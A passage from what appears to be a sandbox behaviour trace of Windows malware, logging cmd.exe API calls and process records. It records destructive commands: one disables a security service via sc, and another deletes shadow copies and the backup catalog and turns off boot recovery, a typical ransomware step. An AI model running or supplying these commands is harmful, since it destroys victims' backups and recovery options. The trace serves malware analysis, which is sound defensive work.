returned 14 [0148.055] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0148.055] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0148.055] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0148.055] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0148.055] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0148.055] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0148.055] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0148.055] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0148.055] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0148.055] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0148.055] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0148.055] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0148.055] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0148.055] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0148.055] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0148.055] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0148.056] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0148.056] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0148.056] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0148.056] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0148.056] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0148.056] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0148.056] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0148.056] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0148.056] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0148.056] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0148.056] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0148.056] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0148.056] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0148.056] _wcsicmp (_String1="sc", _String2="START") returned -17 [0148.056] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0148.056] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0148.056] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0148.056] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0148.056] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0148.056] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0148.056] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0148.056] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0148.056] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0148.056] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0148.056] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0148.056] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0148.056] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0148.056] ??_V@YAXPAX@Z () returned 0x1 [0148.056] GetProcessHeap () returned 0x3200000 [0148.056] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0xffd6) returned 0x3208e28 [0148.057] GetProcessHeap () returned 0x3200000 [0148.057] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0x52) returned 0x3207b18 [0148.057] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0148.057] malloc (_Size=0xffce) returned 0x35c25f8 [0148.057] ??_V@YAXPAX@Z () returned 0x30ff004 [0148.057] GetProcessHeap () returned 0x3200000 [0148.057] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0x1ffa4) returned 0x3218e08 [0148.059] SetErrorMode (uMode=0x0) returned 0x0 [0148.059] SetErrorMode (uMode=0x1) returned 0x0 [0148.059] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x3218e10, lpFilePart=0x30ff024 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x30ff024*="Desktop") returned 0x17 [0148.059] SetErrorMode (uMode=0x0) returned 0x1 [0148.059] GetProcessHeap () returned 0x3200000 [0148.059] RtlReAllocateHeap (Heap=0x3200000, Flags=0x0, Ptr=0x3218e08, Size=0x3e) returned 0x3218e08 [0148.059] GetProcessHeap () returned 0x3200000 [0148.060] RtlSizeHeap (HeapHandle=0x3200000, Flags=0x0, MemoryPointer=0x3218e08) returned 0x3e [0148.060] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0148.060] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0148.214] GetProcessHeap () returned 0x3200000 [0148.214] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0x1b4) returned 0x3207b78 [0148.214] GetProcessHeap () returned 0x3200000 [0148.214] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0x360) returned 0x3207d38 [0148.223] GetProcessHeap () returned 0x3200000 [0148.223] RtlReAllocateHeap (Heap=0x3200000, Flags=0x0, Ptr=0x3207d38, Size=0x1b6) returned 0x3207d38 [0148.223] GetProcessHeap () returned 0x3200000 [0148.223] RtlSizeHeap (HeapHandle=0x3200000, Flags=0x0, MemoryPointer=0x3207d38) returned 0x1b6 [0148.223] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0148.223] GetProcessHeap () returned 0x3200000 [0148.223] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0xe0) returned 0x3207ef8 [0148.223] GetProcessHeap () returned 0x3200000 [0148.223] RtlReAllocateHeap (Heap=0x3200000, Flags=0x0, Ptr=0x3207ef8, Size=0x76) returned 0x3207ef8 [0148.223] GetProcessHeap () returned 0x3200000 [0148.223] RtlSizeHeap (HeapHandle=0x3200000, Flags=0x0, MemoryPointer=0x3207ef8) returned 0x76 [0148.224] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0148.224] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x30fedb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30fedb0) returned 0xffffffff [0148.224] GetLastError () returned 0x2 [0148.224] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0148.224] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x30fedb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30fedb0) returned 0xffffffff [0148.225] GetLastError () returned 0x2 [0148.225] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0148.225] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x30fedb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30fedb0) returned 0x3207f78 [0148.225] GetProcessHeap () returned 0x3200000 [0148.225] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x0, Size=0x14) returned 0x3204778 [0148.225] FindClose (in: hFindFile=0x3207f78 | out: hFindFile=0x3207f78) returned 1 [0148.225] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x30fedb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30fedb0) returned 0xffffffff [0148.226] GetLastError () returned 0x2 [0148.226] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x30fedb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30fedb0) returned 0x3207f78 [0148.226] GetProcessHeap () returned 0x3200000 [0148.226] RtlReAllocateHeap (Heap=0x3200000, Flags=0x0, Ptr=0x3204778, Size=0x4) returned 0x3204778 [0148.226] FindClose (in: hFindFile=0x3207f78 | out: hFindFile=0x3207f78) returned 1 [0148.226] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0148.226] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0148.226] ??_V@YAXPAX@Z () returned 0x1 [0148.226] GetConsoleTitleW (in: lpConsoleTitle=0x30ff2b4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0148.550] InitializeProcThreadAttributeList (in: lpAttributeList=0x30ff1e0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x30ff1cc | out: lpAttributeList=0x30ff1e0, lpSize=0x30ff1cc) returned 1 [0148.550] UpdateProcThreadAttribute (in: lpAttributeList=0x30ff1e0, dwFlags=0x0, Attribute=0x60001, lpValue=0x30ff1c8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x30ff1e0, lpPreviousValue=0x0) returned 1 [0148.550] GetStartupInfoW (in: lpStartupInfo=0x30ff218 | out: lpStartupInfo=0x30ff218*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0148.550] GetProcessHeap () returned 0x3200000 [0148.550] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0x18) returned 0x3207f78 [0148.550] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0148.550] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0148.550] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0148.550] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0148.551] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0148.552] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0148.552] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0148.552] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0148.552] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0148.552] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0148.552] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0148.552] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0148.552] GetProcessHeap () returned 0x3200000 [0148.552] RtlFreeHeap (HeapHandle=0x3200000, Flags=0x0, BaseAddress=0x3207f78) returned 1 [0148.552] GetProcessHeap () returned 0x3200000 [0148.552] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0xa) returned 0x3204788 [0148.552] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0148.554] _get_osfhandle (_FileHandle=1) returned 0x90 [0148.554] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0148.689] _get_osfhandle (_FileHandle=0) returned 0x8c [0148.689] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1 [0148.894] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\sc.exe", lpCommandLine="sc config \"AppCheck\" start=disabled", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x30ff168*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc config \"AppCheck\" start=disabled", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x30ff1b4 | out: lpCommandLine="sc config \"AppCheck\" start=disabled", lpProcessInformation=0x30ff1b4*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xfa8, dwThreadId=0xce0)) returned 1 [0150.473] CloseHandle (hObject=0xdc) returned 1 [0150.474] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0150.474] GetProcessHeap () returned 0x3200000 [0150.474] RtlFreeHeap (HeapHandle=0x3200000, Flags=0x0, BaseAddress=0x3206d20) returned 1 [0150.474] GetEnvironmentStringsW () returned 0x3206d20* [0150.474] GetProcessHeap () returned 0x3200000 [0150.474] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0xb1a) returned 0x3204c98 [0150.474] FreeEnvironmentStringsA (penv="=") returned 1 [0150.474] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0152.987] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x30ff14c | out: lpExitCode=0x30ff14c*=0x424) returned 1 [0152.987] CloseHandle (hObject=0xe0) returned 1 [0152.987] _vsnwprintf (in: _Buffer=0x30ff234, _BufferCount=0x13, _Format="%08X", _ArgList=0x30ff154 | out: _Buffer="00000424") returned 8 [0152.987] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0152.988] GetProcessHeap () returned 0x3200000 [0152.988] RtlFreeHeap (HeapHandle=0x3200000, Flags=0x0, BaseAddress=0x3204c98) returned 1 [0152.988] GetEnvironmentStringsW () returned 0x32080c0* [0152.989] GetProcessHeap () returned 0x3200000 [0152.989] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0xb40) returned 0x3204c98 [0152.989] FreeEnvironmentStringsA (penv="=") returned 1 [0153.043] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0153.043] GetProcessHeap () returned 0x3200000 [0153.043] RtlFreeHeap (HeapHandle=0x3200000, Flags=0x0, BaseAddress=0x3204c98) returned 1 [0153.043] GetEnvironmentStringsW () returned 0x32080c0* [0153.043] GetProcessHeap () returned 0x3200000 [0153.043] RtlAllocateHeap (HeapHandle=0x3200000, Flags=0x8, Size=0xb40) returned 0x3204c98 [0153.043] FreeEnvironmentStringsA (penv="=") returned 1 [0153.044] GetProcessHeap () returned 0x3200000 [0153.044] RtlFreeHeap (HeapHandle=0x3200000, Flags=0x0, BaseAddress=0x3204788) returned 1 [0153.044] DeleteProcThreadAttributeList (in: lpAttributeList=0x30ff1e0 | out: lpAttributeList=0x30ff1e0) [0153.044] ??_V@YAXPAX@Z () returned 0x1 [0153.044] _get_osfhandle (_FileHandle=1) returned 0x90 [0153.044] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0153.177] _get_osfhandle (_FileHandle=1) returned 0x90 [0153.177] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xaa3890 | out: lpMode=0xaa3890) returned 1 [0153.270] _get_osfhandle (_FileHandle=1) returned 0x90 [0153.271] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0153.360] _get_osfhandle (_FileHandle=0) returned 0x8c [0153.360] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xaa3894 | out: lpMode=0xaa3894) returned 1 [0153.489] _get_osfhandle (_FileHandle=0) returned 0x8c [0153.489] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0153.594] SetConsoleInputExeNameW () returned 0x1 [0153.595] GetConsoleOutputCP () returned 0x1b5 [0153.704] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xaa3850 | out: lpCPInfo=0xaa3850) returned 1 [0153.704] SetThreadUILanguage (LangId=0x0) returned 0x2f90409 [0153.750] exit (_Code=1060) [0153.750] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 45 os_tid = 0x1010 Process: id = "6" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x141d6000" os_pid = "0xf40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xf58" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 32 os_tid = 0xf80 Thread: id = 33 os_tid = 0xd9c Thread: id = 35 os_tid = 0xea0 Thread: id = 40 os_tid = 0x428 Thread: id = 41 os_tid = 0xf6c Process: id = "7" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x19445000" os_pid = "0xf74" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xac0" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 34 os_tid = 0xefc [0146.874] GetModuleHandleA (lpModuleName=0x0) returned 0xa70000 [0146.874] __set_app_type (_Type=0x1) [0146.874] __p__fmode () returned 0x776f3c14 [0146.874] __p__commode () returned 0x776f49ec [0146.875] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xa86fd0) returned 0x0 [0146.875] __getmainargs (in: _Argc=0xa9d1a4, _Argv=0xa9d1a8, _Env=0xa9d1ac, _DoWildCard=0, _StartInfo=0xa9d1b8 | out: _Argc=0xa9d1a4, _Argv=0xa9d1a8, _Env=0xa9d1ac) returned 0 [0146.875] _onexit (_Func=0xa88030) returned 0xa88030 [0146.875] _onexit (_Func=0xa88040) returned 0xa88040 [0146.875] _onexit (_Func=0xa88050) returned 0xa88050 [0146.875] _onexit (_Func=0xa88060) returned 0xa88060 [0146.875] _onexit (_Func=0xa88070) returned 0xa88070 [0146.876] _onexit (_Func=0xa88080) returned 0xa88080 [0146.876] GetCurrentThreadId () returned 0xefc [0146.876] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xefc) returned 0xbc [0146.876] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000 [0146.876] GetProcAddress (hModule=0x772d0000, lpProcName="SetThreadUILanguage") returned 0x772e4f70 [0146.876] SetThreadUILanguage (LangId=0x0) returned 0x250409 [0146.954] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0146.955] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cff00 | out: phkResult=0x1cff00*=0x0) returned 0x2 [0146.955] VirtualQuery (in: lpAddress=0x1cff0b, lpBuffer=0x1cfeb8, dwLength=0x1c | out: lpBuffer=0x1cfeb8*(BaseAddress=0x1cf000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0146.955] VirtualQuery (in: lpAddress=0xd0000, lpBuffer=0x1cfeb8, dwLength=0x1c | out: lpBuffer=0x1cfeb8*(BaseAddress=0xd0000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0146.955] VirtualQuery (in: lpAddress=0xd1000, lpBuffer=0x1cfeb8, dwLength=0x1c | out: lpBuffer=0x1cfeb8*(BaseAddress=0xd1000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0146.955] VirtualQuery (in: lpAddress=0xd3000, lpBuffer=0x1cfeb8, dwLength=0x1c | out: lpBuffer=0x1cfeb8*(BaseAddress=0xd3000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0146.955] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x1cfeb8, dwLength=0x1c | out: lpBuffer=0x1cfeb8*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0146.955] GetConsoleOutputCP () returned 0x1b5 [0147.054] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xaa3850 | out: lpCPInfo=0xaa3850) returned 1 [0147.054] SetConsoleCtrlHandler (HandlerRoutine=0xa97260, Add=1) returned 1 [0147.055] _get_osfhandle (_FileHandle=1) returned 0x90 [0147.055] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xaa388c | out: lpMode=0xaa388c) returned 1 [0147.146] _get_osfhandle (_FileHandle=0) returned 0x8c [0147.146] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xaa3888 | out: lpMode=0xaa3888) returned 1 [0147.454] _get_osfhandle (_FileHandle=1) returned 0x90 [0147.455] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0147.548] _get_osfhandle (_FileHandle=1) returned 0x90 [0147.548] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xaa3890 | out: lpMode=0xaa3890) returned 1 [0147.643] _get_osfhandle (_FileHandle=1) returned 0x90 [0147.643] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0147.692] _get_osfhandle (_FileHandle=0) returned 0x8c [0147.692] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xaa3894 | out: lpMode=0xaa3894) returned 1 [0147.694] _get_osfhandle (_FileHandle=0) returned 0x8c [0147.694] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0147.699] GetEnvironmentStringsW () returned 0x684da0* [0147.699] GetProcessHeap () returned 0x680000 [0147.699] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xaca) returned 0x685878 [0147.699] FreeEnvironmentStringsA (penv="A") returned 1 [0147.699] GetProcessHeap () returned 0x680000 [0147.699] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x4) returned 0x684880 [0147.699] GetEnvironmentStringsW () returned 0x684da0* [0147.699] GetProcessHeap () returned 0x680000 [0147.699] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xaca) returned 0x686350 [0147.699] FreeEnvironmentStringsA (penv="A") returned 1 [0147.699] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1cee5c | out: phkResult=0x1cee5c*=0xcc) returned 0x0 [0147.699] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x0, lpData=0x1cee68*=0xc5, lpcbData=0x1cee60*=0x1000) returned 0x2 [0147.699] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x4, lpData=0x1cee68*=0x1, lpcbData=0x1cee60*=0x4) returned 0x0 [0147.699] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x0, lpData=0x1cee68*=0x1, lpcbData=0x1cee60*=0x1000) returned 0x2 [0147.699] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x4, lpData=0x1cee68*=0x0, lpcbData=0x1cee60*=0x4) returned 0x0 [0147.699] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x4, lpData=0x1cee68*=0x40, lpcbData=0x1cee60*=0x4) returned 0x0 [0147.699] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x4, lpData=0x1cee68*=0x40, lpcbData=0x1cee60*=0x4) returned 0x0 [0147.700] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1cee64, lpData=0x1cee68, lpcbData=0x1cee60*=0x1000 | out: lpType=0x1cee64*=0x0, lpData=0x1cee68*=0x40, lpcbData=0x1cee60*=0x1000) returned 0x2 [0147.700] RegCloseKey (hKey=0xcc) returned 0x0 [0147.700] 